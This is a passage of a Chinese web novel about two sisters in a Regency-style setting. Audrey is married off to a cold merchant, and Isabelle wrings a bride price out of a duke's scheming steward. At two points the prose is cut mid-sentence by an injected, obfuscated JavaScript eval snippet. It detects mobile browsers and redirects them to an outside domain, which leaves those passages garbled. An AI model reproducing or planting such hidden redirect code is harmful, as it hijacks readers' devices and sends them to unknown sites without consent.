“等等!”奥黛丽忽然开口,她攥紧衣摆,“再等一分钟好吗?怀特先生。我想和家人告别。” “所以你们刚才逗留那么久,是在听查尔斯说冷笑话吗?”赫尔曼面无表情。 奥黛丽垂下眼眸。 查尔斯讪讪:“别对女士那么刻薄,先生。” 赫尔曼撇开视线,没有开口。 奥黛丽意识到这应该是默许。 她看向车窗外,瞳孔倒映着伊莎贝尔的身影。 伊莎贝尔一直注视着妹妹。 年轻的孩子总是用笑容掩饰难过,只有那双冰蓝色的眼睛能看透她的情绪。 奥黛丽瘪了瘪嘴,泪意上涌,忽然打开车门扑进姐姐怀里。旁人只看见她以拥抱告别,听不见强忍着的抽泣声。 伊莎贝尔一下又一下地抚摸妹妹的脊背,像小时候安慰被邻居卢卡斯小姐欺负的她那样。 感受着温热的泪水蔓延,伊莎贝尔叹了口气,轻声道:“给我写信,任何时候。” 听见姐姐沉静的声音,奥黛丽渐渐安定,她深吸一口气,终于抬起头。 虽然眼眶红得像兔子,但极力挤出微笑:“会的。如你所说,永远坚定,永远乐观。” “永远坚定,永远乐观。”伊莎贝尔重复,松开拥抱的手臂,目送奥黛丽走向马车。 晴空万里,普照大地。 华丽的车队载着奥黛丽走向未知的远方。 伊莎贝尔长久地望着,直到车轮驶出视线。 7. 第 7 章 从洛森郡到肯特郡,需要几天的车程。好在天公作美,一路十分晴朗。但乘车人之一,奥黛丽小姐却无心打量陌生的美景,只是发愣。 摇晃的车厢里,奥黛丽摸出伊莎贝尔送的丝绒盒子,打开。 里面躺着一条色泽醇厚的蓝宝石项链,就像姐姐的眼睛。 她将项链攥在手心看了许久,意识到眼前开始模糊,赶紧抬头吸了吸鼻子,看向窗外。 赫尔曼不是没有注意到,身边若有似无的哽咽声。但年轻的商人不觉得价值十万锡兰币的婚姻有什么好委屈的。 他只感到厌烦。 再一次从倒映的车窗里看见女孩失落垂眸,他冷淡开口:“伊莎贝尔小姐,如果嫁给一个商人让你感到后悔,你还来得及打道回府。” 话音落下,奥黛丽背对着他,用沉默回答。 赫尔曼微眯眼。 很好,果然符合他对虚伪贵族的一贯印象。 温和柔软的外衣下包裹着漠然丑陋的心。他以为这位伊莎贝尔·诺曼小姐能伪装得更久一点,没想到这么快就原形毕露。 赫尔曼冷笑,不再顾及刀子般的话语是否太过伤人,“你的父母在签字前应该考虑清楚了利弊,作为被卖掉的女儿,怀念虚情假意实在可笑。当然,如果只是想用眼泪伪装天真单纯的女孩,奉劝你放弃,这只会显得愚蠢。” 最后一个音节落地,连车厢对面的查尔斯心里都不是滋味儿。更不必提任何有尊严的女士听了这段话,只会越发无地自容,或愤怒万分。 而奥黛丽……依然沉默。 很好,非常好。 耐性极佳,倒是小瞧了她的傲气。 赫尔曼拄着手杖的十指缓缓攥紧,丝质手套遮住用力到泛白的指节,气氛仿佛降至冰点。 盛夏时节,查尔斯颤抖着掏出帕子擦拭冷汗。 他觉得自己再不开口打圆场,对面的雇主先生会把刚娶回来的新娘扔下车! 查尔斯深吸一口气,磕磕巴巴开口:“诺……诺曼小姐,相信你只是……” 话没说完,马车路过颠簸路段,车厢猛然一震。 查尔斯刚稳住身形,就见对面的奥黛丽脑袋一歪,整个人倒向赫尔曼的怀里! 查尔斯:“!” 赫尔曼皱眉,衬衫下的身躯绷紧,立刻就要推开。 “不!先生!嘘!”查尔斯竖起食指,憋笑道,“您的十万锡兰币新娘、可爱的诺曼女士睡着了。” 赫尔曼侧眸,果然,映入眼帘的是一张恬静的睡颜。 她偷偷哭了一路,兴许是累了。头顶珍珠发冠被挤歪,金色卷毛落下几绺,遮住泛红的眼皮。嘴巴还微微张着,睡得不知天地为何物,幸好没流口水。 维持着这个姿势沉默片刻,赫尔曼冷哼一声。 好样的,装到这个地步,要么臻至化境,要么是真傻!无论哪个,都叫他更加厌烦! 任由查尔斯投来不赞同的目光,他毫不客气地推开女孩。 下一刻,珍珠发冠勾住几根银灰色发丝——随着奥黛丽的脑袋向另一边歪去,发丝“嘣”地被扯断,肉眼可见的疼痛蔓延开来…… 查尔斯:“噗!” 赫尔曼额角青筋暴起,攥紧手杖,深吸一口气。 奥黛丽懵懂醒来,发冠滑稽地歪在头顶,断裂的银灰色发丝垂落在她的脸颊。 有点痒,挠挠。 她伸手抓了抓,一边看向面无表情但好像山雨欲来的赫尔曼:“到了吗?怀特先生。” 回答她的是沉默,以及倏然起身的背影:“停车。” 赫尔曼头也不回地换去了另一辆马车,查尔斯紧随其后,一边忍笑回头,冲奥黛丽眨眼:“幸运的小姐,上帝帮你惩罚了他。” “这是怎么了?”奥黛丽嘟囔。 摸不着头脑,只好摸了摸发冠,将它扶正。忽然抓到几根头发,她定睛一看,愣住。 赫尔曼的头发?! “什么姿势会让他的头发缠上我的发冠?难道……”奥黛丽脑中浮现种种言情小说片段,脸一红,“他对我的完美睡颜一见钟情,忍不住靠近,通过我美丽的外表发现我美丽的内心,这样那样然后再这样,最终美满地生活在一起?!” 奥黛丽目光炯炯,握着几根发丝畅想未来。 车窗突然被敲响,“咚咚咚。” 奥黛丽面容一肃,干咳两声,恢复端庄的模样才转头:“怎么了,怀特……嗯?查尔斯先生?” 查尔斯微笑颔首:“伊莎贝尔小姐,怀特先生让我把你的贴身女仆,露西女士请过来。让你们主仆共坐。” 他果然关心我! 奥黛丽面上不显,矜持笑道:“帮我谢谢他。” 查尔斯摘帽行礼,心里暗笑。 还谢谢他?人家只是想把你们两个讨厌鬼打包放一起罢了。 奥黛丽不知道查尔斯的腹诽,露西的到来,的确让她接下来的旅程心情放松。 再一次见到赫尔曼,是抵达肯特郡的当天。 奥黛丽睡得人事不知,被露西叫醒。一睁眼,就对上赫尔曼冷漠的视线和查尔斯的笑脸。 “诺曼小姐,怀特先生的母亲将在不久后到达,届时再举行婚礼仪式。”查尔斯尽责地打开车门,“现在,您可以下车,尽情地参观未来的家。” 赫尔曼当然没有耐心做导游,他对着身后的人吩咐:“给她安排住处。” 说完,头也不回地往前走。 奥黛丽还没反应过来,就见一位绿眼睛的丰满女郎出现,似笑非笑打量着她:“您就是来自高贵男爵家族的……诺曼小姐?” 奥黛丽本能地察觉,那双绿眼睛里暗含轻蔑与敌意,“你是?” 女郎并不答话,侧身让开一条路,“赫尔曼不尽责,就让我带你参观本郡最杰出的温斯顿庄园吧。” 赫尔曼? 不带尊称的亲密叫法,她是谁? 奥黛丽垂眸,不知该不该问,万一是尴尬的身份,她也不能怎么样。 才升起一丁点儿的浪漫泡沫,立刻被现实无情戳破。 绿眼睛女郎径直往前走,全然的主人翁架势。 她娴熟地介绍各处风景,不时看向前方那道身影。显然,这番动作并不只是做给奥黛丽看的。 奥黛丽跟在女郎身后,尽管眼前的巴洛克式建筑精美华丽,她也没兴趣观赏。 还没走远的赫尔曼终于开口道:“别做多余的事情,卡洛琳。” 奥黛丽悄悄在心里点头。 往后多的是参观的机会,颠簸数天,她好累,现在只想休息。 “好吧,贵族小姐总是身体脆弱,恕我没有提前了解,请原谅。”卡洛琳唇角含笑,脸上丝毫没有抱歉的意思。 话语里的冒犯,让跟在身后的露西皱起眉头。 尽责的红发小女仆想提醒小姐,却见奥黛丽老实地摇头:“没关系。” 露西张了张嘴,还是闭上:“……” 卡洛琳:“?” 她皱起眉头,重新审视眼前的金发蠢妞。 奥黛丽见卡洛琳盯着自己,进一步诚恳道:“往后你就了解我啦,我是有点脆弱,现在还有些饿,卡洛琳小姐,可以给我吃点东西吗?” 卡洛琳呼出一口气,脸色有些难看。 身为温斯顿庄园的高级管家兼赫尔曼的商务助手,从来没有人让她负责过填饱别人肚子的蠢事! 而这个新来的竟敢指使她!还以这种装模作样的方式!果然手段高明! 卡洛琳收起轻视,微笑:“可以。” - 餐厅里,奥黛丽换好晚餐服才去用饭。 二楼,卡洛琳注视着露西帮她整理餐巾,布置餐具,足足折腾五六分钟。 “贵族小姐用餐真讲究。”她嗤笑。 身后书房里,查尔斯正在与赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902044|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔曼核对文件条款。 “卡洛琳,诺曼小姐是我们未来的女主人,或许你该放尊重一些。”查尔斯往下推了推眼镜,出言提醒。 卡洛琳不以为意,只看向埋首于文件的赫尔曼。 “冠以贵族头衔的柔弱小羊羔,能有踏入温斯顿庄园的资格,都拜她的姓氏所赐。这样的人,花十万锡兰币买过来已是最高的尊重。”她轻笑,“你也这么认为吧,赫尔曼?” 查尔斯深觉这话很刺耳,可与赫尔曼在车上说的相媲美。 查尔斯摇头:“别带着有色眼镜看人,我觉得她是个好姑娘。” 卡洛琳讽笑,还想驳斥,却对上赫尔曼冰冷的视线。 “卡洛琳,你越界了。” 卡洛琳浑身一凛,下意识辩解:“不,我只是……” “作为管家兼助手,合同上明确规定,我的私生活不在你管辖范围内。”深灰色瞳孔泛着凉意,赫尔曼像座毫无感情的雕像,即便面对相识已久的工作伙伴,也一样不留情面,“再有下次,主动请辞吧。” 卡洛琳如坠冰窖,许久说不出话。 查尔斯投以同情的目光,轻叹一口气。 过于紧密的关系,总是会让多情的女郎误以为有进一步的可能,于是生出无限的遐想。 只有旁观者清楚,他们的雇主先生堪比墨菲斯雪山,除了锡兰货币上的女王头像,没有异性能博得他的关注。 - 另一边,奥黛丽并不知道楼上的风波。 吃饱喝足后,她便端坐在书桌边开始写信。 拿起羽毛笔蘸墨水,写完地名日期,开始问候:我最亲爱的伊莎贝尔…… “不,是奥黛丽小姐。”露西出言提点,“即便是信件,也要留心。” “噢!谢谢你露西!姐姐派你跟着我真是最正确的决定!”奥黛丽悚然一惊,立刻把纸张撕碎,拍拍自己的额头,“伊莎贝尔!伊莎贝尔!别露馅了拜托!” 她重新写下问候,再把自己一路上的所见所闻,事无巨细地写了下来。 工整漂亮的花体字足足写满三大页,犹嫌不够。 露西莞尔:“等过完一个月,那位诺曼小姐兴许要派马车收信。” 奥黛丽脸红,终于放过信纸。 仔细检查完内容,没有可疑的地方,她才封上口子交给露西:“劳烦你帮我邮寄。” 露西将信件投到邮箱里,没几天,却出现在赫尔曼的书桌上。 书房,查尔斯捏着信封,干咳两声:“愿上帝原谅我的卑劣,但为了保证赫尔曼商业帝国的安全,我们必须确认未来的女主人没有异心。” 做完一整套祷告,他才拆开信封,拎出厚厚的三页纸。 不过很可惜,如此冗长的内容里只有:今天吃了什么、看了什么;家里的人好吗?家里的树好吗?家里的狗好吗?以及对婚礼的畅想,着重期待婚纱上镶几颗钻,头冠宝石会有多大(最好是蓝宝石,与她的眼睛相配)…… 读完整封信,查尔斯反复观察,最终确信没有暗语,才遗憾点评:“至少诺曼小姐在审美方面有自己的见解,值得祝贺。” 赫尔曼嗤笑一声。 字里行间全是对金钱的渴望,以及庸俗无趣的日常。这个女人真是……不负他所望。 “寄出去。”赫尔曼摆手,“以后她要再写类似的信,不要拿到我面前。” 把精力浪费在这种东西里,就像那些热衷谈情说爱的男女一样愚蠢。 当然,奥黛丽不知道自己的文字已经被品鉴过,还贴上“蠢蛋”标签。 她摸着蓝宝石项链,一心期待着姐姐收到信件——刻意不记录落寞的情绪,只写下快乐的瞬间,远方的家人就不会为她担心。久而久之,自己也只会记得快乐的事情。 窗外,肯特郡的橡树苍翠茂盛。 想必信件送达时,诺曼庄园的金盏菊已经盛放,斯宾塞公爵也将抵达。 8. 第 8 章 清晨,阳光照耀着整座诺曼庄园,第一丛金盏菊迎风绽放。 小女仆向邮差道谢,捧着厚厚的信封转身跑向屋内。 伊莎贝尔向来起得晚,当她姗姗下楼时,餐桌边的爱德华正戴着圆眼镜看报纸,简妮举着信向她挥手。 “亲爱的,来自肯特郡的信,我们迫不及待拆开,就等你的首肯。” 伊莎贝尔整理餐巾,微笑:“请便。” “由我念吧!”安娜姨妈兴高采烈凑近简妮,“真想知道我们的小甜心过得怎么样!” 玛丽和简妮微笑看着她,爱德华也收起报纸仔细聆听。 晨光里,安娜清了清嗓子,声情并茂念诵:“‘我最亲爱的奥黛丽,相信收到这封信时,庄园的金盏菊已经开了,我最爱它的美丽,务必帮我寄一些种子过来。帮我向父亲母亲还有两位姨妈问好。尤其是安娜姨妈,在我离开的这段时间里,她一定躲在被窝里偷偷哭了好几次。不过别拆穿她……’噢!这个小滑头!” 安娜佯装恼怒,简妮与玛丽都笑了,二人对视,低声道:“注意了信件称呼,看来很有长进。” 伊莎贝尔吃着早餐,挑眉:“记得提醒我在回信里告诉她,爱德华先生流的眼泪不比安娜姨妈少。” 爱德华:“亲爱的!别把绅士的脆弱写在信件里昭告天下,拜托了!” “这恐怕瞒不住。”安娜调侃,“下一段里她就说了‘还有爸爸脆弱的神经总是需要调理,希望我的好消息能让他感到高兴。’” 接下来的内容大致是生活细节,大家不想错过任何信息,即便是日常琐碎。 知道奥黛丽被妥善对待,简妮才真正松了一口气。 安娜换上最后一张信纸:“……‘温斯顿庄园十分华丽,管家卡洛琳小姐也很友善,虽然露西好像并不喜欢她。诚然,露西是个谨慎的姑娘,总是为我着想以至于对这里的一切都充满警惕。这很好,但我不觉得自己会被人欺负。我一定会和她谈谈,劝她享受肯特郡的美好。’” “‘毕竟,等怀特先生的母亲、一位听说很平易近人的埃尔美老夫人到达之际,我们将在这里举行婚礼,任何人都会尊重我这个女主人,包括卡洛琳,我确信。” “婚礼上,我会穿着美丽的钻石婚纱,戴镶蓝宝石的头冠,当然,如果是别的也很好,但我更希望它与我眼睛颜色相配。亲爱的,也许你可以感受到我的快乐,愿你同样幸运。” “虽然想继续写下去,但我已经没有更厚的信封能装下它们。此地邮差可靠,但愿能尽快收到你的回信,记得告诉我新地址,挚爱你的。’”安娜念完眼眶就红了,将信件递给伊莎贝尔,“噢,幸好今天到了,否则你就赶不上回信了,亲爱的。” 众人陷入伤感。 今天就是斯宾塞公爵到来的日子,伊莎贝尔即将离开诺曼庄园。 简妮叹了口气,强打起精神道:“米歇尔,小姐的行李收拾好了吗?” 米歇尔管家看了眼伊莎贝尔,面带踌躇。 伊莎贝尔挥手让她下去,淡定道:“妈妈,我吩咐过米歇尔太太,什么也不用带。” 简妮:“可是……” “他们请我去做公爵夫人,没道理不安排好一切。”伊莎贝尔用完餐,拿着信上楼,“等我写完回信,想必斯宾塞家的人就要到了,做好准备吧。” 简妮忙吩咐米歇尔训练新仆人,确保迎接时不失礼数。 - 下午两点,日头最毒辣的时候,来自公爵府的车队抵达庄园。 如果说赫尔曼来的低调而简洁,那么公爵府恰好相反,尽显高调与张扬。 车队由四辆马车开道,上面统一站着穿红色制服的卫兵,昂首挺胸,举着象征斯宾塞家族的旗帜。 被簇拥在最中间的马车华丽无比,武装到马蹄的银制饰品在日光下闪闪发亮。队伍最后是足足三辆仆从车。首车刚停稳,末端仆从率先下车,快速列开两队。肃穆以待。 正在门口列队欢迎的诺曼家族众人,看到对面的排场,一时愣住。新仆人把刚学会的规矩忘的一干二净,根本不记得上前开车门。好在公爵府自带的仆人已经自发完成任务。 众多目光注视下,主车门开,暌违已久的鹰钩鼻贾维斯爵士率先下车,摘帽颔首。 “又见面了,各位。” “向您问好,贾维斯爵士。”诺曼家众人齐齐行礼。 “提前祝贺两个家族喜结良缘,我很想成为这桩婚姻的见证人,但显然今天的主角不是我。”贾维斯凹着低沉的腔调,抑扬顿挫,一边打开车门。 下一秒,一位身型矮小的男士钻出马车,神情倨傲地打量众人。 “诸位下午好,请允许我做一个简短的自我介绍。我来自神圣锡兰公国七大家族之首;祖先曾屡建奇功延续荣耀近三百年;拥有最高贵古老的血脉、如今常任七大选帝侯之一,包揽领地自治管辖权;坐拥全国面积最大的查尔维斯庄园且毫不费力地维持它的豪奢、即便每年要花费10000锡兰币……”他深吸一口气,“……的斯宾塞家族。” “以上。”矮小男士整理领结,器宇轩昂、摸了摸两撇修理整齐的小胡子,为介绍收尾:“你们可以叫我,斯宾塞公爵。” 话音落下,然后是沉默。 长久的沉默。 诺曼家族众人看着眼前的男子——两颗豆大的眼珠中间点缀着一颗朝天鼻,看人的时候像是要用鼻孔替眼睛效劳。当然,比相貌更出彩的是他高达十公分的牛皮靴子,似乎要借此冲上云霄,和太阳肩并肩,却只堪堪够到贾维斯先生的肩膀,这还得算上高礼帽的功绩。 “斯……斯宾塞公爵?”爱德华嘴角抽搐,神经开始作痛。 第一次,简妮的稳重难以为继,视觉冲击让她一阵眩晕:“我的天哪……” 就在诺曼夫妇快要两眼一翻的前一秒,出众的男士大喘气:“……的管家,安德鲁·比尔。” 诺曼家众人:“……” 心情如过山车般起落,终于回到原点。 “安德鲁先生。”众人僵硬行礼,而后作出迎接的姿态,簇拥着客人进屋。 玛丽拍拍胸口喘气,落后两步挽着伊莎贝尔的手臂,低声道:“老实说,我真为你捏把冷汗,假如他是你未来的丈夫,我宁愿帮你安排马车逃到埃尔美去。” “‘请允许我简短自我介绍~’”安娜模仿小胡子趾高气昂的神态,作出“呕吐状”,“上帝啊,要是嫁给他,我情愿被威克曼骗光钱,至少不会食不下咽。噢,威克曼年轻时可是远近闻名的美男子。” 玛丽翻个白眼,难得没有反驳安娜。 伊莎贝尔被两个姨妈逗笑。 客厅里,安德鲁正襟危坐,用挑剔的眼神打量一切。 女仆正要送上点心,却被他抬手制止:“抱歉,我不会在查尔维斯庄园以外的任何地方品尝食物,毕竟没有哪个地方的厨子能比过公爵府。” “噢,你就是那位诺曼小姐?”见到进来的伊莎贝尔,他话音一顿,又傲慢地撇开视线,“虽然没有女士插手自己婚姻的先例,但我允许你坐下旁听。” 又看向爱德华,拿出一叠文件:“诺曼先生,我们速战速决吧,在面积小于二百平的会客室里待太久,会让我眩晕。” 爱德华面色难看,捧着文件阅读长长的婚前条款。 贾维斯爵士虽古板迂腐,此刻倒显得和蔼,出言解释:“按照女王旨意,本该是斯宾塞公爵亲临,非常不巧,家里要举办一场宴会,只好委派管家……呃,不,是竭诚为斯宾塞家族服务二十年、代表公爵府荣誉的顶尖管家安德鲁·比尔先生前来。以示对各位的敬重。” 众人面色复杂。 婚姻大事由管家代劳,敬重?轻视还差不多。 伊莎贝尔倒不管这些,她从容坐下,拿着文件开始细看。 安德鲁从鼻孔里发出冷哼:“诺曼先生,难道你没有教过自己的女儿,太过关心自己的婚姻是不体面的表现吗?贵族女士就应该由父亲代劳,再乖乖地穿上婚纱出嫁。” “你……”爱德华脸色铁青。 “不用着急,爸爸。”伊莎贝尔缓缓放下文件,拍了拍父亲的手,笑看向安德鲁,“先生,贵府的婚前协议里只规定了我们各自财产分割,那么……聘礼呢?” 安德鲁隐秘而飞快地与贾维斯对视一眼,而后冷笑道:“诺曼小姐,你在开玩笑吗?你,一名未婚的女士,向我们询问聘礼?神圣锡兰公国女王赐婚,至高无上的荣誉,你却……” “聘礼呢?”伊莎贝尔打断他的演讲。 安德鲁脸色一僵,贾维斯干咳两声,“诺曼小姐……” “聘礼呢?”伊莎贝尔再次打断,笑容不变。 场面陷入诡异的僵持。 玛丽突然笑道:“贾维斯爵士,安德鲁先生,再怎么荣耀的婚姻,也少不了金钱的夹持。或者你们是想说,贵府没有聘礼?” 安德鲁脸色涨红,倏然起身:“玛丽夫人,看在你丈夫克劳伦伯爵的份上,我原谅你对公爵府的不敬。请你们知晓,要不是有女王赐婚,区区男爵的女儿想嫁入公爵府,起码陪上两万锡兰币的嫁妆!而你诺曼小姐,占了如此大的便宜,还当众质问聘礼,简直是粗鲁可笑!” 他语调尖锐,神情凶悍,几乎把小女仆手中的咖啡杯都吓掉。 诺曼夫妇的确被震慑住了,似乎被他的话语带去了另一个方向。 然而伊莎贝尔却神情悠然,甚至换了更舒服的姿势靠着沙发,“哦,所以呢?这和我们提出的问题有关吗?” 安德鲁:“我……” 伊莎贝尔:“有,或没有。别说废话,只用回答这两个词。” “你!”安德鲁两撇胡子气得翘了起来,“有!当然有!公爵府少不了你的钱!但那要在你签下协议,完婚后再行支付!噢!上帝啊!但愿薇奥莱特老夫人知道有一个钻进钱眼的孙媳妇,不会气得昏过去!” “完婚后?”伊莎贝尔似笑非笑,忽然将文件随手一扔,“那抱歉了,我不签。” 安德鲁瞪大眼睛,似乎不敢相信眼前这一幕,“?!” “不签?”贾维斯礼貌的面具碎裂,手杖重重地往地上一敲,“你这是要抗婚吗?!诺曼先生!请你管管你的女儿!你们承但不了这个后果!” 爱德华也吓得够呛,既不敢劝女儿,又不敢回应贾维斯。 伊莎贝尔轻笑一声,拎着文件晃了晃,“要破坏这桩婚姻的是你们,想想清楚吧,如果斯宾塞公爵府没有接到我这个未婚妻,到底是谁的责任?” “这桩婚姻举国皆知,我们不过是破落的男爵府,没有钱横竖都活不成。贵府公爵位高权重,为了这点聘礼不惜闹到悔婚,究竟是谁吃亏?女王与公爵脸上无光,最后谁受罚?” 贾维斯和安德鲁再次对视,眼底划过谋算的光。 “好,我可以向你先行支付聘礼,不过别以为这是我的妥协,我只是不想节外生枝,诺曼小姐。”安德鲁冷笑,招来仆人,打开箱子里展示现金,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安德鲁的牙齿快要咬碎:“贪得无厌的女人!” 对峙许久,还是贾维斯扯了扯他的衣袖,眼神暗示一番。安德鲁才松口:“还有价值两万锡兰币的古典油画与珠宝以及年金和债券。” 伊莎贝尔慢条斯理检查完条款,再次看着他。 安德鲁抓狂:“没有了!这次真的没有了!” 伊莎贝尔微笑,一并将所有聘礼单子都收好,起身:“很好,就算有所保留也没关系,我会一件一件清查,漏了的就让负责人安德鲁管家补上。” “你……你!” 安德鲁深呼吸,攥紧拳头,众目睽睽之下,又掏出一个首饰盒子。 “老夫人交代我保管的累斯顿祖母绿宝石。” 伊莎贝尔面带笑容接着,甚至行了一个淑女礼:“真是谢谢安德鲁先生的辛苦保管。” 安德鲁咬紧牙关:“……” 能搜刮到如此巨额的聘礼,已经让诺曼家族众人陷入震惊与茫然。 他们并不惊讶公爵府的财富,但区区一个管家和女王使者,竟敢瞒着主人瓜分这些聘礼?看他们娴熟的姿态,就知道不止这一回了! 如果不是伊莎贝尔不好糊弄,凭着诺曼家礼貌切懦弱的个性,被哄骗得不倒贴都算好的。 安德鲁和贾维斯一刻也不愿意多待,婚契签完便上马车等候。 屋内,玛丽神情凝重,拉着伊莎贝尔道:“看来公爵府的情形比我们想象得要更复杂,如果他们背后无人支持,胆子绝不会这么大!” 简妮叹气,同样担忧:“是啊,你现在还没启程,就已经狠狠得罪了他们,路上千万要小心。” 伊莎贝尔但笑不语,将装满财产合约的箱子递给米歇尔:“米歇尔太太,劳烦把这些连同我的回信,寄到肯特郡。” 众人一愣。 安娜惊呼:“你要把聘礼全寄给……贝拉?这怎么行,这可是你……” 她想说,这是伊莎贝尔牺牲自己交换婚姻换来的。 “为什么不呢?”伊莎贝尔摇着羽毛扇,笑着打断,“与其说赠予,不如说交由她保管。他们以为我会将财产带入公爵府,供自己傍身。可是……” 玛丽沉思片刻,会心一笑,接话道:“可是他们想不到,你竟然白手进府。再怎么想算计你的钱,都算计不到了。” 简妮摇摇头:“你什么也不带,要怎么生活?偌大的公爵府,总要有财产维持体面。” 伊莎贝尔没有立刻回答,等着艾米丽收好她的行李,才轻装出发。 临到大门口,她看着庄园外的金盏菊,摘了一朵戴在帽子上。 “回去吧。”伊莎贝尔向家人挥手。 爱德华和简妮再次哭成泪人,两个姨妈也分别拥抱。 伊莎贝尔只在靠近母亲的时候,平静道:“放心吧,妈妈,体面不需要靠财产和地位维持……” 她既是对诺曼家众人说,也是对自己说。 “我会靠自己,在公爵府得到想要的一切。” 名誉、地位、财富、或者是权力。 阳光下,斯宾塞家族的旭日狮子旗迎风飘扬。 伊莎贝尔缓缓走向华丽的车队,步伐轻盈。 既然身为这个故事的主角,去探索一下新地图,挑战新人生倒也不错。 看着车里面露厌恶的安德鲁,伊莎贝尔心想:躺平太久,要松松筋骨了。 9. 第 9 章 一场雨过后,斯宾塞公爵府车队抵达汉克郡。 伊莎贝尔一下车就感受到了空气中的湿润。 小女仆艾米丽看着眼前的景观,情不自禁道:“好美。” 锡兰公国常年气候温和,由此孕育出茂盛的山林草原。论风景,各郡都有独特之美,假如一定要评出先后,汉克郡当属第一。 汉克郡之所以出名,皆因其境内拥有饱负盛名的查尔维斯庄园。汉克郡位于公国中心,而查尔维斯庄园又占据了汉克郡的中心,故该庄园又称“锡兰之心”。 “锡兰之心”距今有三百多年历史,由第一代公爵——玛格丽特·斯宾塞建造。她不仅是历史上罕见的女性摄政王,还是唯一将自己而非丈夫的姓氏流传下来的女爵。 玛格丽特出身斯宾塞家族,丈夫萨瑟兰公爵战死沙场后,爵位空悬。当时锡兰公国陷入战乱,王室自顾不暇,没空理会公爵府的权利争斗。玛格丽特就是在此时发动政变,夺过领地权柄,继承丈夫的封号“萨瑟兰”,成为盘踞一方的女爵。 护国战役期间,玛格丽特凭借着出色的军事能力屡建奇功,还救下年幼的王储威廉二世,并扶持他登上王位。 掌握军权且拥有政治头脑,玛格丽特挟威廉以令诸侯,成为大选帝侯,行摄政王之权。她所执政的二十年,史称“铁玫瑰时代”。 晚年,玛格丽特向君王请了一道旨意:收回其爵位封号“萨瑟兰”,改为她的姓氏“斯宾塞”。这种行为在当时可谓惊世骇俗。 封号乃世袭罔替的荣耀,你却要用自己的姓氏代替,何其狂妄? 对此,玛格丽特有段广为流传的回应,真乃狂妄中的狂妄。 那是她临终前的一段话,被记载于斯宾塞家族史中。 她说:千百年来,斯宾塞家族只出我一个玛格丽特,“斯宾塞”不代表父族、也不代表母族、只代表玛格丽特本人。是玛格丽特赋予“斯宾塞”荣耀,而非承袭“斯宾塞”意志。此后,承吾姓氏者,皆要拜吾之名——玛格丽特。 此后数百年,查尔维斯庄园再也没有萨瑟兰公爵、只有斯宾塞公爵。所有的斯宾塞们承爵之日,都要向玛格丽特的雕像祝祷。 “锡兰之心”庄园的中央,有一处天然湖泊,湖中心耸立着女爵的雕像。女将军身披战甲,持剑向天,两只狮子趴在她的脚下。最下面的座右铭写着:以吾之名、传汝荣光。 此刻,安德鲁正以倨傲而饱含炫耀的口吻,向伊莎贝尔介绍庄园历史。 聒噪的声音不绝于耳,伊莎贝尔专注地望着湖中心——长达十米、宽约五米的雕像,远远看去,十分高大宏伟。女爵面容冷酷而坚毅,注视着整座查尔维斯庄园,数百年如一日。 “诺曼小姐。” 安德鲁的声音拉回伊莎贝尔的思绪。 “查尔维斯庄园可不是一天能逛完的,你现在该去见公爵先生和老夫人了。”安德鲁忽然勾起隐秘的笑,往前头的小径一指,“请吧,沿着这条路一直走。” 伊莎贝尔没说话,身边的小女仆艾米丽素有一副耿直心肠,皱眉问:“你不陪同我们一起吗?” 安德鲁皮笑肉不笑,晃了晃手中的文件:“抱歉,我还要去处理要事,拜诺曼小姐所赐,你打乱了我和贾维斯先生的安排,所以只好由您自行前往了。” 说罢,他往马车上一跳,同贾维斯使眼色。 马车齐刷刷从伊莎贝尔面前路过。 刚下过雨的青草地被车辙压出泥泞,眼看就要溅出泥点子,还好伊莎贝尔眼疾手快,拉开了艾米丽。 车内,安德鲁冷笑,眼底的幸灾乐祸不加掩饰。 “等着吧,好日子才刚开始呢。” 贾维斯意味深长地看了他一眼:“她看起来可不是好惹的,比尔。” 安德鲁抬高下巴:“是吗?可我什么也没做,我只是办事心切,不小心把未来的公爵夫人,稍微放远了那么一点儿。” 贾维斯意识到了什么,“真够滑头的,安德鲁。” 安德鲁神情傲慢:“她总要知道,即便是公爵夫人,得罪了查尔维斯的大总管,就要吃点无形的苦头。” 马车渐行渐远,落在身后的两个姑娘逐渐变成视野里的小黑点。 安德鲁与贾维斯相视一笑,似乎能预见诺曼小姐的狼狈下场。 湖泊边,艾米丽又急又气:“他们就这么走了?庄园这么大,沿着这条路走,谁知道要走到什么时候?天快黑了,万一迷路怎么办?” 不怪艾米丽着急,她们长途跋涉数日,早就疲惫不堪,现在还要步行前往未知的地方,圣母玛利亚来了都要心生怨气。 伊莎贝尔的修养堪比玛利亚,她低头沉思片刻,忽然轻笑。 “他承担不了我们失踪的后果,只管往前走吧。” 艾米丽头脑简单,胜在听话。 见伊莎贝尔往前走,她便老实地跟上。 雨过天晴,空气里弥漫着青草的味道。平心而论,如果忽略这条小路上的泥泞,查尔维斯的风光的确名副其实。此刻,伊莎贝尔只能分出一半的心神欣赏。 另一半则在琢磨,安德鲁的报复不会只是捉弄她多走一段路这么简单。 伊莎贝尔看着小径的尽头,又看了看脚底厚厚的泥泞,心里渐渐有了猜想。 - 查尔维斯主城堡外,一场狩猎盛会在此举行。 受公爵府之邀的宾客非富即贵,穿梭其中的贵妇衣着华丽,佩戴的宝石个顶个闪耀。 男宾与部分活泼的女士骑马深入林中狩猎,年长的妇人们则簇拥着一位老夫人,说笑寒暄。 老夫人身穿墨绿色天鹅绒华托服,银发一丝不苟盘成分层发髻,搭配同色宽檐帽。日光下,隐约可见祖母绿蜻蜓胸针上,镶嵌在薄翅里的玫瑰钻石。 